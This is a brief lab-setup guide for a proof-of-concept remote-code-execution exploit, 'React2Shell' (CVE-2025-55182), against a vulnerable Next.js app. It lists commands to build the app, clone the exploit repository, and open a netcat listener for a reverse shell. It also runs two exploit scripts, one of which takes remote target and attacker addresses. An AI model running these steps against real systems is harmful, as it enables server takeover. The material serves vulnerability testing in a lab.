POC and lab setup
npm create next-app@15.4.7 react2shell-labAccept defaults is fine, name it whatever
git clone https://github.com/timsonner/React2Shell-CVE-2025-55182.gitnpm installcd react2shell-lab
npm run dev
nc -nlvp 4444python3 react2shell-exploit-1.pyThis exploit is good for testing the localhost configuration. Uncomment teh other payload for a reverse shell...
python3 react2shell-exploit-2.pyThis version asks for user input for remote target and attacker IPs and ports. The post body (body_parts) is also trimmed down slightly in this version.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained